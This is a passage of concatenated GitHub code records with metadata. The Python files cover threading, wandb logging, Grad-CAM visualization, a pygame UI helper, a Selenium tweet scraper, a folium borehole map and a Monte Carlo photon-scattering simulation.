model.predict(row2)\nprint(yhat)","repo_name":"shilpavakkayil/machinelearning1","sub_path":"rnn2.py","file_name":"rnn2.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"74359838915","text":"from threading import *\nfrom time import sleep\n\n\nclass Hello(Thread):\n\n def run(self):\n for i in range(5):\n print(\"Hello\")\n sleep(1)\n\n\nclass Bye(Thread):\n def run(self):\n for i in range(5):\n print(\"Bye\")\n sleep(1)\n\n\nt1 = Hello()\n\nt2 = Bye()\n\nt1.start()\nsleep(0.2)\nt2.start()\n\nt1.join()\nt2.join()\n\nprint(\"task complete\")\n","repo_name":"YOYOYASH/python-practice","sub_path":"multithreading.py","file_name":"multithreading.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16725289098","text":"import wandb\nfrom pytorch_lightning.loggers import WandbLogger\nfrom tqdm import tqdm\n\n\ndef create_logger(\n experiment_name, wandb_cfg=None, tensorboard_cfg=None, entire_cfg=None\n):\n assert (\n (wandb_cfg is None) + (tensorboard_cfg is None)\n ) == 1, \"Only one config should be specified.\"\n if wandb_cfg:\n print(f\"wandb name: {experiment_name}\")\n if \"project\" not in wandb_cfg:\n wandb_cfg[\"project\"] = \"modular-pytorch-lightning-extensions\"\n logger = WandbLogger(\n name=experiment_name,\n **wandb_cfg,\n )\n elif tensorboard_cfg:\n raise NotImplementedError()\n else:\n print(\"No logger is specified, returning `None`.\")\n return None\n # log hparams.\n if entire_cfg:\n logger.log_hyperparams(entire_cfg)\n return logger\n\n\ndef log_to_wandb(log, exp_name, group=None, project=None):\n \"\"\"\n log: list[float] or list[dict]\n \"\"\"\n wandb.init(\n name=exp_name,\n project=project,\n group=group,\n )\n\n def recurse_dict(d, key_record):\n if isinstance(d, dict):\n # recurse\n output = {}\n for k in d.keys():\n subdict = recurse_dict(d[k], f\"{key_record}/{k}\")\n output = {**output, **subdict}\n return output\n else:\n return {key_record[1:]: d}\n\n # log per-step metrics\n for step_log in tqdm(log):\n if type(step_log) == dict:\n step_log = recurse_dict(step_log, \"\")\n wandb.log(step_log)\n wandb.finish()\n","repo_name":"sieu-n/awesome-modular-pytorch-lightning","sub_path":"utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"}
+{"seq_id":"26380522173","text":"# -*- coding: UTF-8 -*-\r\nimport torch\r\nfrom torchvision import models\r\nimport torch.nn as nn\r\nimport torchvision.transforms as tfs\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport cv2\r\n\r\n\r\nclass cal_cam(nn.Module):\r\n def __init__(self, feature_layer=\"layer4\"):\r\n super(cal_cam, self).__init__()\r\n # self.1 = models.resnet101(pretrained=False)\r\n path = 'model_0.7916666666666666.pth'\r\n self.model = torch.load(path)\r\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n # self.device = torch.device(\"cpu\")\r\n self.model.to(self.device)\r\n\r\n # 要求梯度的层\r\n self.feature_layer = feature_layer\r\n # 记录梯度\r\n self.gradient = []\r\n # 记录输出的特征图\r\n self.output = []\r\n self.means = [0.485, 0.456, 0.406]\r\n self.stds = [0.229, 0.224, 0.225]\r\n\r\n self.trainsform = tfs.Compose([\r\n tfs.ToTensor(),\r\n tfs.Normalize(self.means, self.stds)\r\n ])\r\n\r\n def save_grad(self, grad):\r\n self.gradient.append(grad)\r\n\r\n def get_grad(self):\r\n return self.gradient[-1].cpu().data\r\n\r\n def get_feature(self):\r\n return self.output[-1][0]\r\n\r\n def process_img(self, input):\r\n input = self.trainsform(input)\r\n input = input.unsqueeze(0)\r\n return input\r\n\r\n # 计算最后一个卷积层的梯度,输出梯度和最后一个卷积层的特征图\r\n def getGrad(self, input_):\r\n input_ = input_.to(self.device).requires_grad_(True)\r\n num = 1\r\n for name, module in self.model._modules.items():\r\n if (num == 1):\r\n input = module(input_)\r\n num = num + 1\r\n continue\r\n # 是待提取特征图的层\r\n if (name == self.feature_layer):\r\n input = module(input)\r\n input.register_hook(self.save_grad)\r\n self.output.append([input])\r\n # 马上要到全连接层了\r\n elif (name == \"avgpool\"):\r\n input = module(input)\r\n input = input.reshape(input.shape[0], -1)\r\n # 普通的层\r\n else:\r\n input = module(input)\r\n\r\n # 到这里input就是最后全连接层的输出了\r\n index = torch.max(input, dim=-1)[1]\r\n one_hot = torch.zeros((1, input.shape[-1]), dtype=torch.float32)\r\n one_hot[0][index] = 1\r\n confidenct = one_hot * input.cpu()\r\n confidenct = torch.sum(confidenct, dim=-1).requires_grad_(True)\r\n # print(confidenct)\r\n self.model.zero_grad()\r\n # 反向传播获取梯度\r\n confidenct.backward(retain_graph=True)\r\n # 获取特征图的梯度\r\n grad_val = self.get_grad()\r\n feature = self.get_feature()\r\n return grad_val, feature, input_.grad\r\n\r\n # 计算CAM\r\n def getCam(self, grad_val, feature):\r\n # 对特征图的每个通道进行全局池化\r\n alpha = torch.mean(grad_val, dim=(2, 3)).cpu()\r\n feature = feature.cpu()\r\n # 将池化后的结果和相应通道特征图相乘\r\n cam = torch.zeros((feature.shape[2], feature.shape[3]), dtype=torch.float32)\r\n for idx in range(alpha.shape[1]):\r\n cam = cam + alpha[0][idx] * feature[0][idx]\r\n # 进行ReLU操作\r\n cam = np.maximum(cam.detach().numpy(), 0)\r\n\r\n plt.imshow(cam)\r\n plt.colorbar()\r\n plt.savefig(\"cam.jpg\")\r\n\r\n # 将cam区域放大到输入图片大小\r\n cam_ = cv2.resize(cam, (224, 224))\r\n cam_ = cam_ - np.min(cam_)\r\n cam_ = cam_ / np.max(cam_)\r\n plt.imshow(cam_)\r\n plt.savefig(\"cam_.jpg\")\r\n cam = torch.from_numpy(cam)\r\n\r\n return cam, cam_\r\n\r\n def show_img(self, cam_, img):\r\n heatmap = cv2.applyColorMap(np.uint8(255 * cam_), cv2.COLORMAP_JET)\r\n cam_img = 0.3 * heatmap + 0.7 * np.float32(img)\r\n cv2.imwrite(\"img.jpg\", cam_img)\r\n\r\n def __call__(self, img_root):\r\n img = Image.open(img_root).convert(\"RGB\")\r\n img = img.resize((224, 224))\r\n plt.imshow(img)\r\n plt.savefig(\"airplane.jpg\")\r\n input = self.process_img(img)\r\n grad_val, feature, input_grad = self.getGrad(input)\r\n cam, cam_ = self.getCam(grad_val, feature)\r\n self.show_img(cam_, img)\r\n return cam\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cam = cal_cam()\r\n img_root = \"6_1.png\"\r\n cam(img_root)","repo_name":"wuj1e/cls_code","sub_path":"CAM.py","file_name":"CAM.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13089538962","text":"import pygame, sys\r\n\r\ndef handle_ui(pos, state, button_list, player, slider_list = []):\r\n for slider in slider_list:\r\n slider.is_over(pos, state)\r\n\r\n for button in button_list:\r\n is_over, is_clicked = button.check_mouse(pos, state)\r\n if is_over:\r\n if is_clicked:\r\n player.game_state = button.state\r\n return True\r\n\r\n return False\r\n #return is only used for projectiles\r\n\r\n ","repo_name":"SomniumTenebris/distant-suns","sub_path":"scripts/handle_ui.py","file_name":"handle_ui.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"74135746435","text":"import requests\r\nimport os\r\nimport json\r\nimport time\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nchrome_options = Options()\r\nchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\r\nbrowser = webdriver.Chrome(options=chrome_options)\r\n\r\ndef get_tweets(query='',scrolls=5):\r\n url = f'https://twitter.com/search?q={query}'\r\n browser.get(url)\r\n time.sleep(1)\r\n\r\n body = browser.find_element_by_tag_name('body')\r\n for i in range(scrolls):\r\n body.send_keys(Keys.PAGE_DOWN)\r\n time.sleep(0.2)\r\n tweets = browser.find_elements_by_tag_name(\"article\")\r\n return tweets\r\n\r\ndef find_location(account):\r\n #https://twitter.com/TheAnimeEra\r\n url = f'https://twitter.com/{account}'\r\n browser.get(url)\r\n time.sleep(1)\r\n bio = browser.find_elements_by_tag_name(\"span\")\r\n index=0\r\n for i in bio:\r\n try:\r\n if index == 22:\r\n for j in i.text:\r\n if j.isdigit():\r\n raise\r\n print([i.text,index])\r\n index+=1\r\n except:\r\n pass\r\n return bio\r\n\r\ndef run(tweets):\r\n results = []\r\n saved = []\r\n for x in range(len(tweets)):\r\n if x:\r\n try:\r\n tweet = {'msg':'','likes':0,'retweets':0,'comments':0,'type':None,'account':'','location':''}\r\n data = tweets[x].find_elements_by_tag_name('span')\r\n links = tweets[x].find_elements_by_tag_name('a')\r\n for i in links:\r\n try:\r\n if len(i.text) >= 2:\r\n for j in range(len(i.text)):\r\n if i.text[j] == '@':\r\n tweet['account'] = i.text[j+1:]\r\n except Exception as e:\r\n pass\r\n temp = 0\r\n n=0\r\n going = False\r\n msg=''\r\n for i in data:\r\n txt = i.text\r\n if txt==temp:\r\n continue\r\n temp = txt\r\n try:\r\n if 'K' in txt:\r\n txt = float(txt[:-1])*1000\r\n txt = float(txt)\r\n if going:\r\n tweet['msg'] = msg\r\n if n==0:\r\n tweet['comments'] = int(txt)\r\n if n==1:\r\n tweet['retweets'] = int(txt)\r\n if n==2:\r\n tweet['likes'] = int(txt)\r\n going = False\r\n n+=1\r\n except Exception as e:\r\n if txt == '·':\r\n going = True\r\n continue\r\n if going:\r\n msg+=txt\r\n results.append(tweet)\r\n #create table of index meanings\r\n except Exception as e:\r\n continue\r\n return results\r\n #welp selenium it is\r\nresults = []\r\nfor i in range(5,35,5):\r\n tweets = get_tweets(query='Anime',scrolls=i)\r\n for j in run(tweets):\r\n results.append(j)\r\n\r\nfor result in results:\r\n find_location(result['account'])\r\n for i in range(len(result['msg'])):\r\n try:\r\n if result['msg'][i:i+6] == ' ':\r\n result['type'] = 'meme'\r\n except Exception as e:\r\n #print(e)\r\n pass\r\nfor i in results:\r\n print(i)\r\nprint(len(results))\r\n","repo_name":"Stargor14/Stone-Scraper","sub_path":"scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9515182508","text":"\"\"\"Plot a html folium map from holes object.\"\"\"\nfrom itertools import cycle\nfrom pathlib import Path\n\nimport folium\nimport numpy as np\nfrom folium.plugins import MarkerCluster, MeasureControl, MousePosition\nfrom tqdm.auto import tqdm\n\nfrom ..core import Holes\nfrom ..core.coord_utils import coord_str_recognize, project_points\nfrom ..core.utils import ABBREVIATIONS\nfrom .holes import plot_hole\n\n__all__ = [\"plot_map\"]\n\n\ndef plot_map(holes, render_holes=True, progress_bar=True, popup_size=(3, 3)):\n \"\"\"Plot a leaflet map from holes with popup hole plots.\n\n Parameters\n ----------\n holes : holes object\n render_holes : bool\n Render popup diagrams for holes\n progress_bar : bool\n Show tqdm progress bar while adding/rendering holes\n popup_size : tuple\n size in inches of popup figure\n\n Returns\n -------\n map_fig : folium map object\n \"\"\"\n holes_filtered = []\n first_system = False\n if len(holes) == 0:\n raise ValueError(\"Can't plot empty holes -object.\")\n for hole in holes:\n if hasattr(hole, \"header\") and hasattr(hole.header, \"XY\"):\n if \"X\" in hole.header.XY and \"Y\" in hole.header.XY:\n holes_filtered.append(hole)\n coord_system = hole.fileheader.KJ[\"Coordinate system\"]\n input_epsg = coord_str_recognize(coord_system)\n if \"unknown\" in input_epsg.lower():\n msg = \"Coordinate system {} is unrecognized format / unknown name\"\n msg = msg.format(coord_system)\n raise ValueError(msg)\n if not first_system:\n first_system = coord_system\n else:\n if not first_system == coord_system:\n raise ValueError(\"Coordinate system is not uniform in holes -object\")\n holes_filtered = Holes(holes_filtered)\n\n x_all, y_all = [], []\n for i in holes_filtered:\n x_all.append(i.header[\"XY\"][\"X\"])\n y_all.append(i.header[\"XY\"][\"Y\"])\n\n x, y = np.mean(x_all), np.mean(y_all)\n x, y = project_points(x, y, input_epsg)\n max_zoom = 22\n map_fig = folium.Map(\n location=[x, y],\n zoom_start=14,\n max_zoom=22,\n prefer_canvas=True,\n control_scale=True,\n tiles=None,\n )\n folium.TileLayer(\"OpenStreetMap\", maxNativeZoom=19, maxZoom=max_zoom).add_to(map_fig)\n folium.TileLayer(\"Stamen Terrain\", maxNativeZoom=18, maxZoom=max_zoom).add_to(map_fig)\n folium.TileLayer(\"CartoDB positron\", maxNativeZoom=18, maxZoom=max_zoom).add_to(map_fig)\n esri_url = (\n \"https://server.arcgisonline.com/ArcGIS/rest/services/\"\n + \"World_Imagery/MapServer/tile/{z}/{y}/{x}\"\n )\n folium.TileLayer(\n tiles=esri_url,\n attr=\"Esri\",\n name=\"Esri Satellite\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n mml_url_perus = \"http://tiles.kartat.kapsi.fi/peruskartta/{z}/{x}/{y}.jpg\"\n mml_url_orto = \"http://tiles.kartat.kapsi.fi/ortokuva/{z}/{x}/{y}.jpg\"\n folium.TileLayer(\n tiles=mml_url_perus,\n attr=\"MML\",\n name=\"MML peruskartta\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n folium.TileLayer(\n tiles=mml_url_orto,\n attr=\"MML\",\n name=\"MML ilmakuva\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n\n gtk_url = (\n \"http://gtkdata.gtk.fi/arcgis/services/Rajapinnat/GTK_Maapera_WMS/MapServer/WMSServer?\"\n )\n folium.WmsTileLayer(\n name=\"GTK Maaperäkartta\",\n url=gtk_url,\n fmt=\"image/png\",\n layers=[\"maapera_100k_kerrostumat_ja_muodostumat\"], # \"maapera_200k_maalajit\"\n show=False,\n transparent=True,\n opacity=0.5,\n ).add_to(map_fig)\n\n folium.WmsTileLayer(\n name=\"GTK Sulfaattimaat\",\n url=gtk_url,\n fmt=\"image/png\",\n layers=[\"happamat_sulfaattimaat_250k_alueet\"],\n show=False,\n transparent=True,\n opacity=0.5,\n ).add_to(map_fig)\n\n sw_bounds = project_points(min(x_all), min(y_all), input_epsg)\n ne_bounds = project_points(max(x_all), max(y_all), input_epsg)\n\n map_fig.fit_bounds([sw_bounds, ne_bounds])\n\n cluster = MarkerCluster(\n control=False,\n options=dict(\n animate=True, maxClusterRadius=15, showCoverageOnHover=False, disableClusteringAtZoom=20\n ),\n ).add_to(map_fig)\n map_fig.add_child(cluster)\n hole_clusters = {}\n colors = [\n \"red\",\n \"blue\",\n \"green\",\n \"purple\",\n \"orange\",\n \"darkred\",\n \"lightred\",\n \"darkblue\",\n \"darkgreen\",\n \"cadetblue\",\n \"darkpurple\",\n \"pink\",\n \"lightblue\",\n \"lightgreen\",\n ]\n colors = cycle(colors)\n clust_icon_kwargs = {}\n for color, key in zip(colors, holes_filtered.value_counts().keys()):\n hole_clusters[key] = folium.plugins.FeatureGroupSubGroup(\n cluster, name=ABBREVIATIONS.get(key, \"Unrecognize abbreviation\"), show=True\n )\n clust_icon_kwargs[key] = dict(color=color, icon=\"\")\n map_fig.add_child(hole_clusters[key])\n\n if progress_bar:\n pbar = tqdm(\n total=len(holes_filtered),\n desc=\"Rendering holes\" if render_holes else \"Adding points to map\",\n )\n for i, hole in enumerate(holes_filtered):\n x, y = [hole.header.XY[\"X\"], hole.header.XY[\"Y\"]]\n x, y = project_points(x, y, input_epsg)\n\n if hasattr(hole.header, \"TT\") and \"Survey abbreviation\" in hole.header[\"TT\"]:\n key = hole.header[\"TT\"][\"Survey abbreviation\"]\n else:\n key = \"Missing survey abbreviation\"\n if render_holes and key != \"Missing survey abbreviation\":\n try:\n hole_svg = plot_hole(hole, output=\"svg\", figsize=popup_size)\n popup = folium.Popup(hole_svg)\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(location=[x, y], popup=popup, icon=icon).add_to(hole_clusters[key])\n\n except (NotImplementedError, KeyError, TypeError):\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(\n location=[x, y],\n popup=ABBREVIATIONS[key] + \" \" + str(i),\n icon=icon,\n ).add_to(hole_clusters[key])\n else:\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(\n location=[x, y],\n popup=ABBREVIATIONS.get(key, f\"Unrecognize abbreviation {key}\") + \" \" + str(i),\n icon=icon,\n ).add_to(hole_clusters[key])\n\n if progress_bar:\n pbar.update(1)\n\n folium.LayerControl().add_to(map_fig)\n MeasureControl(\n secondary_length_unit=\"\",\n secondary_area_unit=\"\",\n activeColor=\"#aecfeb\",\n completedColor=\"#73b9f5\",\n ).add_to(map_fig)\n fmtr = \"function(num) {return L.Util.formatNum(num, 7) + ' º ';};\"\n MousePosition(\n position=\"topright\",\n separator=\" | \",\n prefix=\"WGS84 \",\n lat_formatter=fmtr,\n lng_formatter=fmtr,\n ).add_to(map_fig)\n return map_fig\n\n\ndef get_icon(abbreviation, clust_icon_kwargs, default=False):\n \"\"\"Get icon from /icons or create colored default folium icon.\"\"\"\n if default:\n return folium.Icon(**clust_icon_kwargs[abbreviation])\n path = Path(__file__).parent\n\n icon_path = \"icons//{abb}.svg\".format(abb=abbreviation.replace(\"//\", \"_\"))\n # print(path/icon_path, path)\n # print(abbreviation)\n try:\n with open(path / icon_path, \"r\") as f:\n svg_str = f.read()\n except FileNotFoundError:\n return folium.Icon(**clust_icon_kwargs[abbreviation])\n height = float(\n [line for line in svg_str.split() if line.startswith(\"height\")][0]\n .split(\"=\")[-1]\n .replace('\"', \"\")\n )\n width = float(\n [line for line in svg_str.split() if line.startswith(\"width\")][0]\n .split(\"=\")[-1]\n .replace('\"', \"\")\n )\n icon = folium.DivIcon(html=svg_str, icon_anchor=(width / 2, height / 2))\n return icon\n","repo_name":"ahartikainen/pyinfraformat","sub_path":"pyinfraformat/plots/maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"41314573722","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef initialization(nbps, N, L, a, mode):\n \"\"\"initialization(nbps, N, L, a, mode):\n Description:\n ------------\n This function creates the initial setup of the incoming photon beams by evenly distributing the beams over the sides of the structure\n \n Parameters:\n -----------\n nbps: int\n Integer indicating the number of beams per side\n N : int\n Integer indicating the total number of photons\n L : float\n Length of one side\n a : float\n Beam radius\n mode : string\n String which defines if a single beam, or multiple beams are used (input: \"single\", \"multiple\")\n \n Results:\n --------\n u0: array of size (3,N)\n array containing the initial unit velocity vector for all the N photons with the rows containing the x,y,z-velocity component.\n r0: array of size (3,N)\n array containing the initial positions for all the N photons with the rows containing the x,y,z-position component.\n \n \"\"\"\n #Creating random radius and phi for a random perturbation (based on the beam radius)\n RND = np.random.rand(N,)\n r1 = a*np.sqrt(RND)\n RND = np.random.rand(N,)\n phi_0 = RND*2*np.pi\n \n if mode == \"single\":\n r0 = 1E-5*np.ones((3,N)) #3xN matrix of the initial position for every particle\n r0[0,:] = L/2 + r1*np.cos(phi_0)\n r0[1,:] = L/2 + r1*np.sin(phi_0)\n\n u0 = np.zeros((3,N)) \n u0[2,:] = 1\n\n if mode == \"multiple\":\n \n \n \n pbm = int(N/(4*nbps)) #photons per beam\n r0 = np.zeros((3,N)) \n perturb = np.zeros((3,N)) #initializing perturbation matrix\n r0[0,:] = L/2 #x-component is always L/2\n\n center = L/2*np.ones((3,N))\n for i in range(nbps):\n #Create the positions of the beam centers of the first two sides\n r0[1,i*pbm:(i+1)*pbm] = (i+1)/(nbps + 1)*L \n r0[2,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n\n\n #Create the pertubation to account for a finite beam radius\n perturb[1,i*pbm:(i+1)*pbm] = r1[i*pbm:(i+1)*pbm]*np.cos(phi_0[i*pbm:(i+1)*pbm])\n perturb[0,i*pbm:(i+1)*pbm] = r1[i*pbm:(i+1)*pbm]*np.sin(phi_0[i*pbm:(i+1)*pbm])\n perturb[2,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = r1[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]*np.cos(phi_0[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm])\n perturb[0,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = r1[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]*np.sin(phi_0[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]) \n for i in range(nbps):\n #Create the positions of the beam centers of the other two sides\n r0[1,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n r0[2,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n r0[1,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = L\n r0[2,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = L\n\n #Create the pertubation to account for a finite beam radius\n perturb[1,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = r1[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm])\n perturb[0,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = r1[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm]*np.sin(phi_0[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm])\n perturb[2,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = r1[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm])\n perturb[0,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = r1[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm])\n\n u0 = center-r0 #Initial velocity points to center\n lengthu0 = np.sqrt(np.sum(u0**2,axis = 0)) #Computing the length\n u0 = u0/lengthu0 #Normalizing u0\n r0 = r0 + perturb #Add the perturbations to account for finite beam radius\n\n #u0 = np.zeros((3,N))\n #u0[2,:] = 1\n #r0 = np.zeros((3,N))\n #r0[0,:] = L/2 + r1*np.cos(phi_0)\n #r0[1,:] = L/2 + r1*np.sin(phi_0)\n \n return r0,u0\n\ndef scattering(u,g): \n \"\"\"scattering(u,g):\n Description:\n ------------\n This function scatters the photons in a random direction. It uses the Henyey-Greenstein function to calculate the\n elevation angle scattering. The azimuth scattering angle is uniform \n\n Parameters:\n -----------\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component\n g: float\n anisotropy of scattering (needs to be between -1 and 1)\n\n Results:\n --------\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component\n after the scattering event\n\n \"\"\" \n #Henyey-Greenstein function for elevation angle scattering for sin(theta) and cos(theta)\n N = np.shape(u)\n N = N[1]\n RND = np.random.rand(N,)\n\n if g == 0:\n costheta = 2*RND-1\n else:\n t1 = (1-g**2)/(1-g+2*g*RND)\n costheta = (1+g**2-t1**2)/(2*g)\n\n sintheta = np.sqrt(1-costheta**2)\n\n #azimuth angle (phi) between scattered and incoming velocity\n RND = np.random.rand(N,)\n phi = RND*2*np.pi \n cosphi = np.cos(phi)\n sinphi = np.sin(phi)\n\n uxx = np.zeros(N)\n uyy = np.copy(uxx)\n uzz = np.copy(uxx)\n\n #avoid dividing by zero\n div_zero_true = abs(u[2,:]) >= (1-1e-12) #divide by zero locations in live array\n div_zero_false = div_zero_true == False \n lx = div_zero_false #just a short notation such that the long name div_zero_false is not always neccasary to use\n\n\n #Calculate new trajectory vector elements \n tmp = np.sqrt(1-u[2,div_zero_false]**2)\n uxx[div_zero_false] = sintheta[lx]*(u[0,lx]*u[2,lx]*cosphi[lx]-u[1,lx]*sinphi[lx])/tmp + u[0,lx]*costheta[lx]\n uyy[div_zero_false] = sintheta[lx]*(u[1,lx]*u[2,lx]*cosphi[lx]+u[0,lx]*sinphi[lx])/tmp + u[1,lx]*costheta[lx]\n uzz[div_zero_false] = -sintheta[lx]*cosphi[lx]*tmp + u[2,lx]*costheta[lx]\n\n uxx[div_zero_true] = sintheta[div_zero_true]*cosphi[div_zero_true]\n uyy[div_zero_true] = sintheta[div_zero_true]*sinphi[div_zero_true]\n uzz[div_zero_true] = costheta[div_zero_true]*np.sign(u[2,div_zero_true])\n\n u = np.array([uxx, uyy, uzz])\n return u\n\ndef absorb(A,r,Nbins,dL,w,mu_a,mu_t):\n \"\"\"absorb(A,r,Nbins,dL,w,mu_a,mu_t):\n Description:\n ------------\n This function removes a fraction mu_a/mu_t of the photons and puts it in their respective bins (corresponding to their location).\n This fraction is then removed from the photon weights. If the photon is absorbed at an index which does not 1:1 correspond to a bin,\n it is placed in the closest bin instead.\n\n Parameters:\n -----------\n A: array of size (Nbins,Nbins,Nbins)\n array containing information about where the energy from the photons is absorbed before the called absorption event.\n r: array of size (3,N)\n array with all the x,y,z-locations of each photon\n Nbins: int\n Number of bins. The absorption space is divided into Nbins parts.\n dL: float\n Spacing between bins in units of length.\n w: array of size (N,)\n Contains the weights of the photons that are still propagating, before the absorption event.\n mu_a: float\n Absorption coefficient in units of 1/length.\n mu_t: float\n Total interaction coefficient in units of 1/length\n\n\n Results:\n --------\n A: array of size (Nbins,Nbins,Nbins)\n array containing information about where the energy from the photons is absorbed after the called absorption event.\n w: array of size (N,)\n Contains the weights of the photons that are still propagating, after the absorption event.\n \n \n \"\"\" \n \n indexabs = np.floor(r/dL)\n indexabs = indexabs.astype(int)\n indexabs[indexabs>(Nbins-1)] = Nbins-1\n indexabs[indexabs<0] = 0\n \n indexabs, indices, inverse = np.unique(indexabs,return_index= True, return_inverse=True,return_counts=False,axis=1)\n w_new = np.zeros((np.shape(indexabs)[1],))\n w_new = np.bincount(inverse,w,len(indices))\n\n A[indexabs[0,:],indexabs[1,:],indexabs[2,:]] += w_new*mu_a/mu_t\n w = w*(1-mu_a/mu_t)\n return A,w\n\n\ndef reflection(r,u,s,L,w,w_refl,n1,n2):\n \"\"\"reflection(r,u,s,L,w,w_refl,n1,n2):\n Description:\n ------------\n This function reflects photons that are incident at a boundary. A part of the photon weight is transmitted and\n a part of the photon weight is reflected at the boundary, according to the Fresnel equations\n \n Parameters:\n -----------\n r: array of size (3,N)\n array containing the position (x,y,z) of each photon\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component \n s: array of size (N)\n array containing the distance each photon has travelled\n L : float\n Length of one side\n w: array of size (N)\n array containing the weight of each photon\n w_refl: float\n sum of the photon weights that are left the volume\n n1: float\n refractive index inside volume\n n2: float\n refractive index inside outside\n \n Results:\n --------\n r: array of size (3,N)\n array containing the position (x,y,z) of each photon after the reflection\n u: array of size (3,N)\n array containing the unit velocity vector after the reflection for all the N photon with the rows containing \n the x,y,z-velocity component \n w: array of size (N)\n array containing the weight of each photon \n w_refl: float\n sum of the photon weights that are left the volume \n \"\"\"\n \n N = np.shape(u)\n N = N[1]\n #loop over x-, y- and z-direction\n for i in range(3):\n \n #find photons that are outside the volume\n out_L = r[i,:]>L #photons outside left boundary\n out_0 = r[i,:]<0 #photons outside right boundary\n out = out_L+out_0 #photons oustide left and right boundary\n \n #set photons outside volume back to original position\n r[:,out] = r[:,out] - u[:,out]*s[out] \n \n #Set photons at the boundary of volume\n s1 = np.zeros((N,))\n s1[out_L] = abs(abs(r[i,out_L]-L)/u[i,out_L])\n s1[out_0] = abs(r[i,out_0]/u[i,out_0])\n r[:,out] = r[:,out] + u[:,out]*s1[out]\n \n #initialize fresnel reflection and transmission\n Rs = np.zeros(np.sum(out)) #s-polarisation reflection\n Rp = np.copy(Rs) #p-polarisation reflection\n R = np.copy(Rs) #total reflection coefficent \n \n ci = abs(u[i,out]) #cosinus of incident angle\n ci[ci>1] = 1\n si = np.sqrt(1-ci**2) #sinus of incident angle\n \n tot_ref = n1/n2*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n \n ci = ci[par_ref]\n si = si[par_ref]\n \n #calculate fresnel coefficients\n Rs[par_ref] = ((n1*ci - n2*np.sqrt(1-(n1/n2*si)**2))/(n1*ci + n2*np.sqrt(1-(n1/n2*si)**2)))**2 #s-polarisation reflection\n Rp[par_ref] = ((-n2*ci + n1*np.sqrt(1-(n1/n2*si)**2))/(n2*ci + n1*np.sqrt(1-(n1/n2*si)**2)))**2 #p-polarisation reflection\n R[par_ref] = (Rs[par_ref]+Rp[par_ref])/2 \n R[tot_ref] = 1\n \n #Total change in wheight due to transmitted photons\n w_refl += np.sum((1-R)*w[out])\n \n #update weights, velocity vector\n w[out] = R*w[out]\n u[i,out] = -u[i,out]\n \n #reflect photons at the boundary\n r[:,out] = r[:,out] + (s[out]-s1[out])*u[:,out]\n \n return r,u,w,w_refl\n\ndef terminate(w,u,r,threshold,p_term):\n \"\"\"terminate(w,threshold,p_term,u,r):\n Description:\n ------------\n This function if a photon is terminated when the weight of the photon drops below a certain 